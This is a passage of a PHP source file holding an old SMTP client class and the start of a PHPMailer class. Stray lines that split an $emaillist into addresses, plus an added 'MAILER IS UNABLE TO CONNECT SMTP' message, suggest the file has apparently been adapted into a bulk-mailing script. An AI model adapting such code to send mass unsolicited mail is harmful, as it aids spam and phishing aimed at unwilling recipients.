991 return true;
992 }
993
994 /**
995 * Gets help information on the keyword specified. If the keyword
996 * is not specified then returns generic help, ussually contianing
997 * A list of keywords that help is available on. This function
998 * returns the results back to the user. It is up to the user to
999 * handle the returned data. If an error occurs then false is
1000 * returned with $this->error set appropiately.
1001 *
1002 * Implements rfc 821: HELP [ <SP> <string> ] <CRLF>
1003 *
1004 * SMTP CODE SUCCESS: 211,214
1005 * SMTP CODE ERROR : 500,501,502,504,421
1006 * @access public
1007 * @return string
1008 */
1009 function Help($keyword="") {
1010 $this->error = null; # to avoid confusion
1011
1012 if(!$this->connected()) {
1013 $this->error = array(
1014 "error" => "Called Help() without being connected");
1015 return false;
1016 }
1017
1018 $extra = "";
1019 if(!empty($keyword)) {
1020 $extra = " " . $keyword;
1021 }
1022
1023 fputs($this->smtp_conn,"HELP" . $extra . $this->CRLF);
1024
1025 $rply = $this->get_lines();
1026 $code = substr($rply,0,3);
1027
1028 if($this->do_debug >= 2) {
1029 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1030 }
1031
1032 if($code != 211 && $code != 214) {
1033 $this->error =
1034 array("error" => "HELP not accepted from server",
1035 "smtp_code" => $code,
1036 "smtp_msg" => substr($rply,4));
1037 if($this->do_debug >= 1) {
1038 echo "SMTP -> ERROR: " . $this->error["error"] .
1039 ": " . $rply . $this->CRLF;
1040 }
1041 return false;
1042 }
1043
1044 return $rply;
1045 }
1046
1047 /**
1048 * Starts a mail transaction from the email address specified in
1049 * $from. Returns true if successful or false otherwise. If True
1050 * the mail transaction is started and then one or more Recipient
1051 * commands may be called followed by a Data command.
1052 *
1053 * Implements rfc 821: MAIL <SP> FROM:<reverse-path> <CRLF>
1054 *
1055 * SMTP CODE SUCCESS: 250
1056 * SMTP CODE SUCCESS: 552,451,452
1057 * SMTP CODE SUCCESS: 500,501,421
1058 * @access public
1059 * @return bool
1060 */
1061 function Mail($from) {
1062 $this->error = null; # so no confusion is caused
1063
1064 if(!$this->connected()) {
1065 $this->error = array(
1066 "error" => "Called Mail() without being connected");
1067 return false;
1068 }
1069
1070 $useVerp = ($this->do_verp ? "XVERP" : "");
1071 fputs($this->smtp_conn,"MAIL FROM:<" . $from . ">" . $useVerp . $this->CRLF);
1072
1073 $rply = $this->get_lines();
1074 $code = substr($rply,0,3);
1075
1076 if($this->do_debug >= 2) {
1077 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1078 }
1079
1080 if($code != 250) {
1081 $this->error =
1082 array("error" => "MAIL not accepted from server",
1083 "smtp_code" => $code,
1084 "smtp_msg" => substr($rply,4));
1085 if($this->do_debug >= 1) {
1086 echo "SMTP -> ERROR: " . $this->error["error"] .
1087 ": " . $rply . $this->CRLF;
1088 }
1089 return false;
1090 }
1091 return true;
1092 }
1093
1094 /**
1095 * Sends the command NOOP to the SMTP server.
1096 *
1097 * Implements from rfc 821: NOOP <CRLF>
1098 *
1099 * SMTP CODE SUCCESS: 250
1100 * SMTP CODE ERROR : 500, 421
1101 * @access public
1102 * @return bool
1103 */
1104 function Noop() {
1105 $this->error = null; # so no confusion is caused
1106
1107 if(!$this->connected()) {
1108 $this->error = array(
1109 "error" => "Called Noop() without being connected");
1110 return false;
1111 }
1112
1113 fputs($this->smtp_conn,"NOOP" . $this->CRLF);
1114
1115 $rply = $this->get_lines();
1116 $code = substr($rply,0,3);
1117
1118 if($this->do_debug >= 2) {
1119 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1120 }
1121
1122 if($code != 250) {
1123 $this->error =
1124 array("error" => "NOOP not accepted from server",
1125 "smtp_code" => $code,
1126 "smtp_msg" => substr($rply,4));
1127 if($this->do_debug >= 1) {
1128 echo "SMTP -> ERROR: " . $this->error["error"] .
1129 ": " . $rply . $this->CRLF;
1130 }
1131 return false;
1132 }
1133 return true;
1134 }
1135
1136 /**
1137 * Sends the quit command to the server and then closes the socket
1138 * if there is no error or the $close_on_error argument is true.
1139 *
1140 * Implements from rfc 821: QUIT <CRLF>
1141 *
1142 * SMTP CODE SUCCESS: 221
1143 * SMTP CODE ERROR : 500
1144 * @access public
1145 * @return bool
1146 */
1147 function Quit($close_on_error=true) {
1148 $this->error = null; # so there is no confusion
1149
1150 if(!$this->connected()) {
1151 $this->error = array(
1152 "error" => "Called Quit() without being connected");
1153 return false;
1154 }
1155
1156 # send the quit command to the server
1157 fputs($this->smtp_conn,"quit" . $this->CRLF);
1158
1159 # get any good-bye messages
1160 $byemsg = $this->get_lines();
1161
1162 if($this->do_debug >= 2) {
1163 echo "SMTP -> FROM SERVER:" . $this->CRLF . $byemsg;
1164 }
1165
1166 $rval = true;
1167 $e = null;
1168
1169 $code = substr($byemsg,0,3);
1170 if($code != 221) {
1171 # use e as a tmp var cause Close will overwrite $this->error
1172 $e = array("error" => "SMTP server rejected quit command",
1173 "smtp_code" => $code,
1174 "smtp_rply" => substr($byemsg,4));
1175 $rval = false;
1176 if($this->do_debug >= 1) {
1177 echo "SMTP -> ERROR: " . $e["error"] . ": " .
1178 $byemsg . $this->CRLF;
1179 }
1180 }
1181
1182 if(empty($e) || $close_on_error) {
1183 $this->Close();
1184 }
1185
1186 return $rval;
1187 }
1188
1189 /**
1190 * Sends the command RCPT to the SMTP server with the TO: argument of $to.
1191 * Returns true if the recipient was accepted false if it was rejected.
1192 *
1193 * Implements from rfc 821: RCPT <SP> TO:<forward-path> <CRLF>
1194 *
1195 * SMTP CODE SUCCESS: 250,251
1196 * SMTP CODE FAILURE: 550,551,552,553,450,451,452
1197 * SMTP CODE ERROR : 500,501,503,421
1198 * @access public
1199 * @return bool
1200 */
1201 function Recipient($to) {
1202 $this->error = null; # so no confusion is caused
1203
1204 if(!$this->connected()) {
1205 $this->error = array(
1206 "error" => "Called Recipient() without being connected");
1207 return false;
1208 }
1209
1210 fputs($this->smtp_conn,"RCPT TO:<" . $to . ">" . $this->CRLF);
1211
1212 $rply = $this->get_lines();
1213 $code = substr($rply,0,3);
1214
1215 if($this->do_debug >= 2) {
1216 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1217 }
1218
1219 if($code != 250 && $code != 251) {
1220 $this->error =
1221 array("error" => "RCPT not accepted from server",
1222 "smtp_code" => $code,
1223 "smtp_msg" => substr($rply,4));
1224 if($this->do_debug >= 1) {
1225 echo "SMTP -> ERROR: " . $this->error["error"] .
1226 ": " . $rply . $this->CRLF;
1227 }
1228 return false;
1229 }
1230 return true;
1231 }
1232
1233 /**
1234 * Sends the RSET command to abort and transaction that is
1235 * currently in progress. Returns true if successful false
1236 * otherwise.
1237 *
1238 * Implements rfc 821: RSET <CRLF>
1239 *
1240 * SMTP CODE SUCCESS: 250
1241 * SMTP CODE ERROR : 500,501,504,421
1242 * @access public
1243 * @return bool
1244 */
1245 function Reset() {
1246 $this->error = null; # so no confusion is caused
1247
1248 if(!$this->connected()) {
1249 $this->error = array(
1250 "error" => "Called Reset() without being connected");
1251 return false;
1252 }
1253
1254 fputs($this->smtp_conn,"RSET" . $this->CRLF);
1255
1256 $rply = $this->get_lines();
1257 $code = substr($rply,0,3);
1258
1259 if($this->do_debug >= 2) {
1260 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1261 }
1262
1263 if($code != 250) {
1264 $this->error =
1265 array("error" => "RSET failed",
1266 "smtp_code" => $code,
1267 "smtp_msg" => substr($rply,4));
1268 if($this->do_debug >= 1) {
1269 echo "SMTP -> ERROR: " . $this->error["error"] .
1270 ": " . $rply . $this->CRLF;
1271 }
1272 return false;
1273 }
1274
1275 return true;
1276 }
1277
1278 /**
1279 * Starts a mail transaction from the email address specified in
1280 * $from. Returns true if successful or false otherwise. If True
1281 * the mail transaction is started and then one or more Recipient
1282 * commands may be called followed by a Data command. This command
1283 * will send the message to the users terminal if they are logged
1284 * in.
1285 *
1286 * Implements rfc 821: SEND <SP> FROM:<reverse-path> <CRLF>
1287 *
1288 * SMTP CODE SUCCESS: 250
1289 * SMTP CODE SUCCESS: 552,451,452
1290 * SMTP CODE SUCCESS: 500,501,502,421
1291 * @access public
1292 * @return bool
1293 */
1294 function Send($from) {
1295 $this->error = null; # so no confusion is caused
1296
1297 if(!$this->connected()) {
1298 $this->error = array(
1299 "error" => "Called Send() without being connected");
1300 return false;
1301 }
1302
1303 fputs($this->smtp_conn,"SEND FROM:" . $from . $this->CRLF);
1304
1305 $rply = $this->get_lines();
1306 $code = substr($rply,0,3);
1307
1308 if($this->do_debug >= 2) {
1309 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1310 }
1311
1312 if($code != 250) {
1313 $this->error =
1314 array("error" => "SEND not accepted from server",
1315 "smtp_code" => $code,
1316 "smtp_msg" => substr($rply,4));
1317 if($this->do_debug >= 1) {
1318 echo "SMTP -> ERROR: " . $this->error["error"] .
1319 ": " . $rply . $this->CRLF;
1320 }
1321 return false;
1322 }
1323 return true;
1324 }
1325
1326 /**
1327 * Starts a mail transaction from the email address specified in
1328 * $from. Returns true if successful or false otherwise. If True
1329 * the mail transaction is started and then one or more Recipient
1330 * commands may be called followed by a Data command. This command
1331 * will send the message to the users terminal if they are logged
1332 * in and send them an email.
1333 *
1334 * Implements rfc 821: SAML <SP> FROM:<reverse-path> <CRLF>
1335 *
1336 * SMTP CODE SUCCESS: 250
1337 * SMTP CODE SUCCESS: 552,451,452
1338 * SMTP CODE SUCCESS: 500,501,502,421
1339 * @access public
1340 * @return bool
1341 */
1342 function SendAndMail($from) {
1343 $this->error = null; # so no confusion is caused
1344
1345 if(!$this->connected()) {
1346 $this->error = array(
1347 "error" => "Called SendAndMail() without being connected");
1348 return false;
1349 }
1350
1351 fputs($this->smtp_conn,"SAML FROM:" . $from . $this->CRLF);
1352
1353 $rply = $this->get_lines();
1354 $code = substr($rply,0,3);
1355
1356 if($this->do_debug >= 2) {
1357 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1358 }
1359
1360 if($code != 250) {
1361 $this->error =
1362 array("error" => "SAML not accepted from server",
1363 "smtp_code" => $code,
1364 "smtp_msg" => substr($rply,4));
1365 if($this->do_debug >= 1) {
1366 echo "SMTP -> ERROR: " . $this->error["error"] .
1367 ": " . $rply . $this->CRLF;
1368 }
1369 return false;
1370 }
1371 return true;
1372 }
1373
1374 /**
1375 * Starts a mail transaction from the email address specified in
1376 * $from. Returns true if successful or false otherwise. If True
1377 * the mail transaction is started and then one or more Recipient
1378 * commands may be called followed by a Data command. This command
1379 * will send the message to the users terminal if they are logged
1380 * in or mail it to them if they are not.
1381 *
1382 * Implements rfc 821: SOML <SP> FROM:<reverse-path> <CRLF>
1383 *
1384 * SMTP CODE SUCCESS: 250
1385 * SMTP CODE SUCCESS: 552,451,452
1386 * SMTP CODE SUCCESS: 500,501,502,421
1387 * @access public
1388 * @return bool
1389 */
1390 function SendOrMail($from) {
1391 $this->error = null; # so no confusion is caused
1392
1393 if(!$this->connected()) {
1394 $this->error = array(
1395 "error" => "Called SendOrMail() without being connected");
1396 return false;
1397 }
1398
1399 fputs($this->smtp_conn,"SOML FROM:" . $from . $this->CRLF);
1400
1401 $rply = $this->get_lines();
1402 $code = substr($rply,0,3);
1403
1404 if($this->do_debug >= 2) {
1405 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1406 }
1407
1408 if($code != 250) {
1409 $this->error =
1410 array("error" => "SOML not accepted from server",
1411 "smtp_code" => $code,
1412 "smtp_msg" => substr($rply,4));
1413 if($this->do_debug >= 1) {
1414 echo "SMTP -> ERROR: " . $this->error["error"] .
1415 ": " . $rply . $this->CRLF;
1416 }
1417 return false;
1418 }
1419 return true;
1420 }
1421
1422 /**
1423 * This is an optional command for SMTP that this class does not
1424 * support. This method is here to make the RFC821 Definition
1425 * complete for this class and __may__ be implimented in the future
1426 *
1427 * Implements from rfc 821: TURN <CRLF>
1428 *
1429 * SMTP CODE SUCCESS: 250
1430 * SMTP CODE FAILURE: 502
1431 * SMTP CODE ERROR : 500, 503
1432 * @access public
1433 * @return bool
1434 */
1435 function Turn() {
1436 $this->error = array("error" => "This method, TURN, of the SMTP ".
1437 "is not implemented");
1438 if($this->do_debug >= 1) {
1439 echo "SMTP -> NOTICE: " . $this->error["error"] . $this->CRLF;
1440 }
1441 return false;
1442 }
1443
1444 /**
1445 * Verifies that the name is recognized by the server.
1446 * Returns false if the name could not be verified otherwise
1447 * the response from the server is returned.
1448 *
1449 * Implements rfc 821: VRFY <SP> <string> <CRLF>
1450 *
1451 * SMTP CODE SUCCESS: 250,251
1452 * SMTP CODE FAILURE: 550,551,553
1453 * SMTP CODE ERROR : 500,501,502,421
1454 * @access public
1455 * @return int
1456 */
1457 function Verify($name) {
1458 $this->error = null; # so no confusion is caused
1459
1460 if(!$this->connected()) {
1461 $this->error = array(
1462 "error" => "Called Verify() without being connected");
1463 return false;
1464 }
1465
1466 fputs($this->smtp_conn,"VRFY " . $name . $this->CRLF);
1467
1468 $rply = $this->get_lines();
1469 $code = substr($rply,0,3);
1470
1471 if($this->do_debug >= 2) {
1472 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1473 }
1474
1475 if($code != 250 && $code != 251) {
1476 $this->error =
1477 array("error" => "VRFY failed on name '$name'",
1478 "smtp_code" => $code,
1479 "smtp_msg" => substr($rply,4));
1480 if($this->do_debug >= 1) {
1481 echo "SMTP -> ERROR: " . $this->error["error"] .
1482 ": " . $rply . $this->CRLF;
1483 }
1484 return false;
1485 }
1486 return $rply;
1487 }
1488
1489 /*******************************************************************
1490 * INTERNAL FUNCTIONS *
1491 ******************************************************************/
1492
1493 /**
1494 * Read in as many lines as possible
1495 * either before eof or socket timeout occurs on the operation.
1496 * With SMTP we can tell if we have more lines to read if the
1497 * 4th character is '-' symbol. If it is a space then we don't
1498 * need to read anything else.
1499 * @access private
1500 * @return string
1501 */
1502 function get_lines() {
1503 $data = "";
1504 while($str = @fgets($this->smtp_conn,515)) {
1505 if($this->do_debug >= 4) {
1506 echo "SMTP -> get_lines(): \$data was \"$data\"" .
1507 $this->CRLF;
1508 echo "SMTP -> get_lines(): \$str is \"$str\"" .
1509 $this->CRLF;
1510 }
1511 $data .= $str;
1512 if($this->do_debug >= 4) {
1513 echo "SMTP -> get_lines(): \$data is \"$data\"" . $this->CRLF;
1514 }
1515 # if the 4th character is a space then we are done reading
1516 # so just break the loop
1517 if(substr($str,3,1) == " ") { break; }
1518 }
1519 return $data;
1520 }
1521
1522}
1523
1524
1525$allemails = split("\n", $emaillist);
1526$numemails = count($allemails);
1527class PHPMailer {
1528
1529 /////////////////////////////////////////////////
1530 // PROPERTIES, PUBLIC
1531 /////////////////////////////////////////////////
1532
1533 /**
1534 * Email priority (1 = High, 3 = Normal, 5 = low).
1535 * @var int
1536 */
1537 var $Priority = 3;
1538
1539 /**
1540 * Sets the CharSet of the message.
1541 * @var string
1542 */
1543 var $CharSet = 'us-ascii';
1544
1545 /**
1546 * Sets the Content-type of the message.
1547 * @var string
1548 */
1549 var $ContentType = 'text/plain';
1550
1551 /**
1552 * Sets the Encoding of the message. Options for this are "8bit",
1553 * "7bit", "binary", "base64", and "quoted-printable".
1554
1555 * @var string
1556 */
1557 var $Encoding = 'quoted-printable';
1558
1559 /**
1560 * Holds the most recent mailer error message.
1561 * @var string
1562 */
1563 var $ErrorInfo = '';
1564
1565 /**
1566 * Sets the From email address for the message.
1567 * @var string
1568 */
1569 var $From = '';
1570
1571 /**
1572 * Sets the From name of the message.
1573 * @var string
1574 */
1575 var $FromName = '';
1576
1577 /**
1578 * Sets the Sender email (Return-Path) of the message. If not empty,
1579 * will be sent via -f to sendmail or as 'MAIL FROM' in smtp mode.
1580 * @var string
1581 */
1582 var $Sender = '';
1583
1584 /**
1585 * Sets the Subject of the message.
1586 * @var string
1587 */
1588 var $Subject = '';
1589
1590 /**
1591 * Sets the Body of the message. This can be either an HTML or text body.
1592 * If HTML then run IsHTML(true).
1593 * @var string
1594 */
1595 var $Body = '';
1596
1597 /**
1598 * Sets the text-only body of the message. This automatically sets the
1599 * email to multipart/alternative. This body can be read by mail
1600 * clients that do not have HTML email capability such as mutt. Clients
1601 * that can read HTML will view the normal Body.
1602 * @var string
1603 */
1604 var $AltBody = '';
1605
1606 /**
1607 * Sets word wrapping on the body of the message to a given number of
1608 * characters.
1609 * @var int
1610 */
1611 var $WordWrap = 0;
1612
1613 /**
1614 * Method to send mail: ("mail", "sendmail", or "smtp").
1615 * @var string
1616 */
1617 var $Mailer = 'mail';
1618
1619 /**
1620 * Sets the path of the sendmail program.
1621 * @var string
1622 */
1623 var $Sendmail = '/usr/sbin/sendmail';
1624
1625 /**
1626 * Path to PHPMailer plugins. This is now only useful if the SMTP class
1627 * is in a different directory than the PHP include path.
1628 * @var string
1629 */
1630 var $PluginDir = '';
1631
1632 /**
1633 * Holds PHPMailer version.
1634 * @var string
1635 */
1636 var $Version = "";
1637
1638 /**
1639 * Sets the email address that a reading confirmation will be sent.
1640 * @var string
1641 */
1642 var $ConfirmReadingTo = '';
1643
1644 /**
1645 * Sets the hostname to use in Message-Id and Received headers
1646 * and as default HELO string. If empty, the value returned
1647 * by SERVER_NAME is used or 'localhost.localdomain'.
1648 * @var string
1649 */
1650 var $Hostname = '';
1651
1652 /**
1653 * Sets the message ID to be used in the Message-Id header.
1654 * If empty, a unique id will be generated.
1655 * @var string
1656 */
1657 var $MessageID = '';
1658
1659 /////////////////////////////////////////////////
1660 // PROPERTIES FOR SMTP
1661 /////////////////////////////////////////////////
1662
1663 /**
1664 * Sets the SMTP hosts. All hosts must be separated by a
1665 * semicolon. You can also specify a different port
1666 * for each host by using this format: [hostname:port]
1667 * (e.g. "smtp1.example.com:25;smtp2.example.com").
1668 * Hosts will be tried in order.
1669 * @var string
1670 */
1671 var $Host = 'localhost';
1672
1673 /**
1674 * Sets the default SMTP server port.
1675 * @var int
1676 */
1677 var $Port = 25;
1678
1679 /**
1680 * Sets the SMTP HELO of the message (Default is $Hostname).
1681 * @var string
1682 */
1683 var $Helo = '';
1684
1685 /**
1686 * Sets connection prefix.
1687 * Options are "", "ssl" or "tls"
1688 * @var string
1689 */
1690 var $SMTPSecure = "";
1691
1692 /**
1693 * Sets SMTP authentication. Utilizes the Username and Password variables.
1694 * @var bool
1695 */
1696 var $SMTPAuth = false;
1697
1698 /**
1699 * Sets SMTP username.
1700 * @var string
1701 */
1702 var $Username = '';
1703
1704 /**
1705 * Sets SMTP password.
1706 * @var string
1707 */
1708 var $Password = '';
1709
1710 /**
1711 * Sets the SMTP server timeout in seconds. This function will not
1712 * work with the win32 version.
1713 * @var int
1714 */
1715 var $Timeout = 10;
1716
1717 /**
1718 * Sets SMTP class debugging on or off.
1719 * @var bool
1720 */
1721 var $SMTPDebug = false;
1722
1723 /**
1724 * Prevents the SMTP connection from being closed after each mail
1725 * sending. If this is set to true then to close the connection
1726 * requires an explicit call to SmtpClose().
1727 * @var bool
1728 */
1729 var $SMTPKeepAlive = false;
1730
1731 /**
1732 * Provides the ability to have the TO field process individual
1733 * emails, instead of sending to entire TO addresses
1734 * @var bool
1735 */
1736 var $SingleTo = false;
1737
1738 /////////////////////////////////////////////////
1739 // PROPERTIES, PRIVATE
1740 /////////////////////////////////////////////////
1741
1742 var $smtp = NULL;
1743 var $to = array();
1744 var $cc = array();
1745 var $bcc = array();
1746 var $ReplyTo = array();
1747 var $attachment = array();
1748 var $CustomHeader = array();
1749 var $message_type = '';
1750 var $boundary = array();
1751 var $language = array();
1752 var $error_count = 0;
1753 var $LE = "\n";
1754 var $sign_key_file = "";
1755 var $sign_key_pass = "";
1756
1757 /////////////////////////////////////////////////
1758 // METHODS, VARIABLES
1759 /////////////////////////////////////////////////
1760
1761 /**
1762 * Sets message type to HTML.
1763 * @param bool $bool
1764 * @return void
1765 */
1766 function IsHTML($bool) {
1767 if($bool == true) {
1768 $this->ContentType = 'text/html';
1769 } else {
1770 $this->ContentType = 'text/plain';
1771 }
1772 }
1773
1774 /**
1775 * Sets Mailer to send message using SMTP.
1776 * @return void
1777 */
1778 function IsSMTP() {
1779 $this->Mailer = 'smtp';
1780 }
1781
1782 /**
1783 * Sets Mailer to send message using PHP mail() function.
1784 * @return void
1785 */
1786 function IsMail() {
1787 $this->Mailer = 'mail';
1788 }
1789
1790 /**
1791 * Sets Mailer to send message using the $Sendmail program.
1792 * @return void
1793 */
1794 function IsSendmail() {
1795 $this->Mailer = 'sendmail';
1796 }
1797
1798 /**
1799 * Sets Mailer to send message using the qmail MTA.
1800 * @return void
1801 */
1802 function IsQmail() {
1803 $this->Sendmail = '/var/qmail/bin/sendmail';
1804 $this->Mailer = 'sendmail';
1805 }
1806
1807 /////////////////////////////////////////////////
1808 // METHODS, RECIPIENTS
1809 /////////////////////////////////////////////////
1810
1811 /**
1812 * Adds a "To" address.
1813 * @param string $address
1814 * @param string $name
1815 * @return void
1816 */
1817 function AddAddress($address, $name = '') {
1818 $cur = count($this->to);
1819 $this->to[$cur][0] = trim($address);
1820 $this->to[$cur][1] = $name;
1821 }
1822
1823 /**
1824 * Adds a "Cc" address. Note: this function works
1825 * with the SMTP mailer on win32, not with the "mail"
1826 * mailer.
1827 * @param string $address
1828 * @param string $name
1829 * @return void
1830 */
1831 function AddCC($address, $name = '') {
1832 $cur = count($this->cc);
1833 $this->cc[$cur][0] = trim($address);
1834 $this->cc[$cur][1] = $name;
1835 }
1836
1837 /**
1838 * Adds a "Bcc" address. Note: this function works
1839 * with the SMTP mailer on win32, not with the "mail"
1840 * mailer.
1841 * @param string $address
1842 * @param string $name
1843 * @return void
1844 */
1845 function AddBCC($address, $name = '') {
1846 $cur = count($this->bcc);
1847 $this->bcc[$cur][0] = trim($address);
1848 $this->bcc[$cur][1] = $name;
1849 }
1850
1851 /**
1852 * Adds a "Reply-To" address.
1853 * @param string $address
1854 * @param string $name
1855 * @return void
1856 */
1857 function AddReplyTo($address, $name = '') {
1858 $cur = count($this->ReplyTo);
1859 $this->ReplyTo[$cur][0] = trim($address);
1860 $this->ReplyTo[$cur][1] = $name;
1861 }
1862
1863 /////////////////////////////////////////////////
1864 // METHODS, MAIL SENDING
1865 /////////////////////////////////////////////////
1866
1867 /**
1868 * Creates message and assigns Mailer. If the message is
1869 * not sent successfully then it returns false. Use the ErrorInfo
1870 * variable to view description of the error.
1871 * @return bool
1872 */
1873 function Send() {
1874 $header = '';
1875 $body = '';
1876 $result = true;
1877
1878 if((count($this->to) + count($this->cc) + count($this->bcc)) < 1) {
1879 $this->SetError($this->Lang('provide_address'));
1880 return false;
1881 }
1882
1883 /* Set whether the message is multipart/alternative */
1884 if(!empty($this->AltBody)) {
1885 $this->ContentType = 'multipart/alternative';
1886 }
1887
1888 $this->error_count = 0; // reset errors
1889 $this->SetMessageType();
1890 $header .= $this->CreateHeader();
1891 $body = $this->CreateBody();
1892
1893 if($body == '') {
1894 return false;
1895 }
1896
1897 /* Choose the mailer */
1898 switch($this->Mailer) {
1899 case 'sendmail':
1900 $result = $this->SendmailSend($header, $body);
1901 break;
1902 case 'smtp':
1903 $result = $this->SmtpSend($header, $body);
1904 break;
1905 case 'mail':
1906 $result = $this->MailSend($header, $body);
1907 break;
1908 default:
1909 $result = $this->MailSend($header, $body);
1910 break;
1911 //$this->SetError($this->Mailer . $this->Lang('mailer_not_supported'));
1912 //$result = false;
1913 //break;
1914 }
1915
1916 return $result;
1917 }
1918
1919 /**
1920 * Sends mail using the $Sendmail program.
1921 * @access private
1922 * @return bool
1923 */
1924 function SendmailSend($header, $body) {
1925 if ($this->Sender != '') {
1926 $sendmail = sprintf("%s -oi -f %s -t", escapeshellcmd($this->Sendmail), escapeshellarg($this->Sender));
1927 } else {
1928 $sendmail = sprintf("%s -oi -t", escapeshellcmd($this->Sendmail));
1929 }
1930
1931 if(!@$mail = popen($sendmail, 'w')) {
1932 $this->SetError($this->Lang('execute') . $this->Sendmail);
1933 return false;
1934 }
1935
1936 fputs($mail, $header);
1937 fputs($mail, $body);
1938
1939 $result = pclose($mail);
1940 if (version_compare(phpversion(), '4.2.3') == -1) {
1941 $result = $result >> 8 & 0xFF;
1942 }
1943 if($result != 0) {
1944 $this->SetError($this->Lang('execute') . $this->Sendmail);
1945 return false;
1946 }
1947 return true;
1948 }
1949
1950 /**
1951 * Sends mail using the PHP mail() function.
1952 * @access private
1953 * @return bool
1954 */
1955 function MailSend($header, $body) {
1956
1957 $to = '';
1958 for($i = 0; $i < count($this->to); $i++) {
1959 if($i != 0) { $to .= ', '; }
1960 $to .= $this->AddrFormat($this->to[$i]);
1961 }
1962
1963 $toArr = split(',', $to);
1964
1965 $params = sprintf("-oi -f %s", $this->Sender);
1966 if ($this->Sender != '' && strlen(ini_get('safe_mode')) < 1) {
1967 $old_from = ini_get('sendmail_from');
1968 ini_set('sendmail_from', $this->Sender);
1969 if ($this->SingleTo === true && count($toArr) > 1) {
1970 foreach ($toArr as $key => $val) {
1971 $rt = @mail($val, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
1972 }
1973 } else {
1974 $rt = @mail($to, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
1975 }
1976 } else {
1977 if ($this->SingleTo === true && count($toArr) > 1) {
1978 foreach ($toArr as $key => $val) {
1979 $rt = @mail($val, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
1980 }
1981 } else {
1982 $rt = @mail($to, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header);
1983 }
1984 }
1985
1986 if (isset($old_from)) {
1987 ini_set('sendmail_from', $old_from);
1988 }
1989
1990 if(!$rt) {
1991 $this->SetError($this->Lang('instantiate'));
1992 return false;
1993 }
1994
1995 return true;
1996 }
1997
1998 /**
1999 * Sends mail via SMTP using PhpSMTP (Author:
2000 * Chris Ryan). Returns bool. Returns false if there is a
2001 * bad MAIL FROM, RCPT, or DATA input.
2002 * @access private
2003 * @return bool
2004 */
2005 function SmtpSend($header, $body) {
2006 $error = '';
2007 $bad_rcpt = array();
2008
2009 if(!$this->SmtpConnect()) {echo "FAILED !!<p align=\"center\"><font color=\"#D4001A\" style=\"font-style:14pt\"> MAILER IS UNABLE TO CONNECT SMTP !!</font></p>";die();
2010 return false;
2011 }
2012
2013 $smtp_from = ($this->Sender == '') ? $this->From : $this->Sender;
2014 if(!$this->smtp->Mail($smtp_from)) {
2015 $error = $this->Lang('from_failed') . $smtp_from;
2016 $this->SetError($error);
2017 $this->smtp->Reset();
2018 return false;
2019 }
2020
2021 /* Attempt to send attach all recipients */
2022 for($i = 0; $i < count($this->to); $i++) {
2023 if(!$this->smtp->Recipient($this->to[$i][0])) {
2024 $bad_rcpt[] = $this->to[$i][0];
2025 }
2026 }
2027 for($i = 0; $i < count($this->cc); $i++) {
2028 if(!$this->smtp->Recipient($this->cc[$i][0])) {
2029 $bad_rcpt[] = $this->cc[$i][0];
2030 }
2031 }
2032 for($i = 0; $i < count($this->bcc); $i++) {
2033 if(!$this->smtp->Recipient($this->bcc[$i][0])) {
2034 $bad_rcpt[] = $this->bcc[$i][0];
2035 }
2036 }
2037
2038 if(count($bad_rcpt) > 0) { // Create error message
2039 for($i = 0; $i < count($bad_rcpt); $i++) {
2040 if($i != 0) {
2041 $error .= ', ';
2042 }
2043 $error .= $bad_rcpt[$i];
2044
2045 }
2046 $error = $this->Lang('recipients_failed') . $error;
2047 $this->SetError($error);
2048 $this->smtp->Reset();
2049 return false;
2050 }
2051
2052 if(!$this->smtp->Data($header . $body)) {
2053 $this->SetError($this->Lang('data_not_accepted'));
2054 $this->smtp->Reset();
2055 return false;
2056 }
2057 if($this->SMTPKeepAlive == true) {
2058 $this->smtp->Reset();
2059 } else {
2060 $this->SmtpClose();
2061 }
2062
2063 return true;
2064 }
2065
2066 /**
2067 * Initiates a connection to an SMTP server. Returns false if the
2068 * operation failed.
2069 * @access private
2070 * @return bool
2071 */
2072 function SmtpConnect() {
2073 if($this->smtp == NULL) {
2074 $this->smtp = new SMTP();
2075 }
2076
2077 $this->smtp->do_debug = $this->SMTPDebug;
2078 $hosts = explode(';', $this->Host);
2079 $index = 0;
2080 $connection = ($this->smtp->Connected());
2081
2082 /* Retry while there is no connection */
2083 while($index < count($hosts) && $connection == false) {
2084 $hostinfo = array();
2085 if(eregi('^(.+):([0-9]+)$', $hosts[$index], $hostinfo)) {
2086 $host = $hostinfo[1];
2087 $port = $hostinfo[2];
2088 } else {
2089 $host = $hosts[$index];
2090 $port = $this->Port;
2091 }
2092
2093 if($this->smtp->Connect(((!empty($this->SMTPSecure))?$this->SMTPSecure.'://':'').$host, $port, $this->Timeout)) {
2094 if ($this->Helo != '') {
2095 $this->smtp->Hello($this->Helo);
2096 } else {
2097 $this->smtp->Hello($this->ServerHostname());
2098 }
2099
2100 $connection = true;
2101 if($this->SMTPAuth) {
2102 if(!$this->smtp->Authenticate($this->Username, $this->Password)) {
2103 $this->SetError($this->Lang('authenticate'));
2104 $this->smtp->Reset();
2105 $connection = false;
2106 }
2107 }
2108 }
2109 $index++;
2110 }
2111 if(!$connection) {
2112 $this->SetError($this->Lang('connect_host'));
2113 }
2114
2115 return $connection;
2116 }
2117
2118 /**
2119 * Closes the active SMTP session if one exists.
2120 * @return void
2121 */
2122 function SmtpClose() {
2123 if($this->smtp != NULL) {
2124 if($this->smtp->Connected()) {
2125 $this->smtp->Quit();
2126 $this->smtp->Close();
2127 }
2128 }
2129 }
2130
2131 /**
2132 * Sets the language for all class error messages. Returns false
2133 * if it cannot load the language file. The default language type
2134 * is English.
2135 * @param string $lang_type Type of language (e.g. Portuguese: "br")
2136 * @param string $lang_path Path to the language file directory
2137 * @access public
2138 * @return bool
2139 */
2140 function SetLanguage($lang_type, $lang_path = 'language/') {
